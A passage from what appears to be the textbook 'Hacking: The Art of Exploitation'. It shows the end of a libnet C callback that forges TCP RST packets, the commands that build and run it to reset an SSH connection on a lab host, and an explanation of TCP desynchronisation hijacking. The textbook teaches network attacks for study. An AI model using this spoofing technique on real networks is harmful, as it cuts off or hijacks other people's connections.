NETWORKING - Hacking: The Art of Exploitation - page 263

TH_RST, // Control flags (RST flag set only)
libnet_get_prand(LIBNET_PRu16), // Window size (randomized)
0, // Urgent pointer
NULL, // Payload (none)
0, // Payload length
(passed->packet) + LIBNET_IP_H);// Packet header memory

if (libnet_do_checksum(passed->packet, IPPROTO_TCP, LIBNET_TCP_H) == -1)
libnet_error(LIBNET_ERR_FATAL, "can't compute checksum\n");

bcount = libnet_write_ip(passed->libnet_handle, passed->packet, LIBNET_IP_H+LIBNET_TCP_H);
if (bcount < LIBNET_IP_H + LIBNET_TCP_H)
libnet_error(LIBNET_ERR_WARNING, "Warning: Incomplete packet written.");

usleep(5000); // pause slightly
}

The callback function spoofs the RST packets. First, the critical libnet data
is retrieved, and pointers to the IP and TCP headers are set using the structures
included with libnet. We could use our own structures from hacking-network.h,
but the libnet structures are already there and compensate for the host's
byte ordering. The spoofed RST packet uses the sniffed source address as
the destination, and vice versa. The sniffed sequence number is used as the
spoofed packet's acknowledgment number, since that is what is expected.

reader@hacking:~/booksrc $ gcc $(libnet-config --defines) -o rst_hijack rst_hijack.c -lnet -lpcap
reader@hacking:~/booksrc $ sudo ./rst_hijack 192.168.42.88
DEBUG: filter string is 'tcp[tcpflags] & tcp-ack != 0 and dst host 192.168.42.88'
Resetting all TCP connections to 192.168.42.88 on eth0
r esetting TCP connection from 192.168.42.72:47783 <---> 192.168.42.88:22

0x462 Continued Hijacking

The spoofed packet doesn't need to be an RST packet. This attack becomes
more interesting when the spoof packet contains data. The host machine
receives the spoofed packet, increments the sequence number, and responds
to the victim's IP. Since the victim's machine doesn't know about the spoofed
packet, the host machine's response has an incorrect sequence number, so
the victim ignores that response packet. And since the victim's machine
ignored the host machine's response packet, the victim's sequence number
count is off. Therefore, any packet the victim tries to send to the host machine
will have an incorrect sequence number as well, causing the host machine
to ignore it. In this case, both legitimate sides of the connection have
incorrect sequence numbers, resulting in a desynchronized state. And since
the attacker sent out the first spoofed packet that caused all this chaos, it can
keep track of sequence numbers and continue spoofing packets from the
victim's IP address to the host machine. This lets the attacker continue com-
municating with the host machine while the victim's connection hangs.